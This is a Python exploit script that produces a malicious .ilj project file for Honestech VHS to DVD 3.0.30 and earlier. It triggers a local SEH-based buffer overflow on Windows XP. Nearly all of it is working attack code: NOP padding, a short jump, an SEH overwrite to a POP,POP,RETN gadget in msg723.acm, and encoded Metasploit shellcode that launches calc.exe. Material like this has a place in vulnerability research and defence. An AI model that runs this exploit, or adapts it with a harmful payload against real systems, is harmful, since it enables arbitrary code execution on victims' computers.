#!/usr/bin/python
#
# Exploit Title: Honestech VHS to DVD <= 3.0.30 Deluxe Local Buffer Overflow (SEH)
# Date: September 16, 2010
# Author: Brennon Thomas thomab310@gmail.com
# Software Link: n/a
# Version: <= 3.0.30.0 Deluxe
# Tested on: Windows XP SP2/SP3 using Honestech VHS to DVD 3.0.2 and 3.0.30.0
#
# Usage: This python script generates the malicious .ilj project file. 
# Open Honestech VHS to DVD <= 3.0.30 Deluxe in Advanced mode and
# load the corrupt file.
#
# Exploit is for education purposes only.  Author takes no responsibility
# for what you do with it. 

#Required file text
buf = "\r\n\
\r\n\
<CAPTURE>\r\n\
\r\n\
[MAINDLG]\r\n\
PAGE=0\r\n\
\r\n\
[AVICODEC]\r\n\
VIDEOCODEC=DivX 6.8.5 Codec (2 Logical CPUs)\r\n\
AUDIOCODEC=MPEG Layer-3\r\n\
\r\n\
[WMVINFO]\r\n\
TITLE=  \r\n\
AUTHOR=  \r\n\
COPYRIGHT=  \r\n\
DESCRIPTION=  \r\n\
\r\n\
[CAPTUREINFO]\r\n\
OUTPUTFOLDER=E:\\misc\\\r\n\
STATE=0,1,1,0,4396,4,1,0,0\r\n\
\r\n\
[BURNINFO]\r\n\
STATE=0,0,0,0,0,0\r\n\
TEMPFOLDER=E:\\misc\\\r\n\
VIDEOTSFOLDER=E:\\misc\\\r\n\
IMAGEFOLDER=E:\\misc\\\r\n\
\r\n\
[FILELIST]\r\n\
FILE=E:\\"

buf += "\x90"*257         #Junk
buf += "\xeb\x08\x90\x90" #JMP SHORT 8, NOP Padding
buf += "\xba\x25\x31\x58" #SEH Overwrite to POP,POP,RETN in msg723.acm
buf += "\x90"*16          #NOP Buffer

#msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -b '\x00\x0a\x0d\x2c' -t c
#[*] x86/shikata_ga_nai succeeded with size 228 (iteration=1)
buf += ("\xbe\xf9\x89\xfa\xaa\xdb\xca\xd9\x74\x24\xf4\x33\xc9\xb1\x33"
"\x5d\x31\x75\x13\x83\xed\xfc\x03\x75\xf6\x6b\x0f\x56\xe0\xe5"
"\xf0\xa7\xf0\x95\x79\x42\xc1\x87\x1e\x06\x73\x18\x54\x4a\x7f"
"\xd3\x38\x7f\xf4\x91\x94\x70\xbd\x1c\xc3\xbf\x3e\x91\xcb\x6c"
"\xfc\xb3\xb7\x6e\xd0\x13\x89\xa0\x25\x55\xce\xdd\xc5\x07\x87"
"\xaa\x77\xb8\xac\xef\x4b\xb9\x62\x64\xf3\xc1\x07\xbb\x87\x7b"
"\x09\xec\x37\xf7\x41\x14\x3c\x5f\x72\x25\x91\x83\x4e\x6c\x9e"
"\x70\x24\x6f\x76\x49\xc5\x41\xb6\x06\xf8\x6d\x3b\x56\x3c\x49"
"\xa3\x2d\x36\xa9\x5e\x36\x8d\xd3\x84\xb3\x10\x73\x4f\x63\xf1"
"\x85\x9c\xf2\x72\x89\x69\x70\xdc\x8e\x6c\x55\x56\xaa\xe5\x58"
"\xb9\x3a\xbd\x7e\x1d\x66\x66\x1e\x04\xc2\xc9\x1f\x56\xaa\xb6"
"\x85\x1c\x59\xa3\xbc\x7e\x34\x32\x4c\x05\x71\x34\x4e\x06\xd2"
"\x5c\x7f\x8d\xbd\x1b\x80\x44\xfa\xd3\xca\xc5\xab\x7b\x93\x9f"
"\xe9\xe6\x24\x4a\x2d\x1e\xa7\x7f\xce\xe5\xb7\xf5\xcb\xa2\x7f"
"\xe5\xa1\xbb\x15\x09\x15\xbc\x3f\x6a\xf8\x2e\xa3\x43\x9f\xd6"
"\x46\x9c\x55")

buf += "\x90"*(6000-(len(buf))) #NOP Buffer
buf += ",0,7462,885953024,4,1,640,480\r\n" #Required file text

f = open("sploit.ilj", "w")
f.write(buf)
f.close()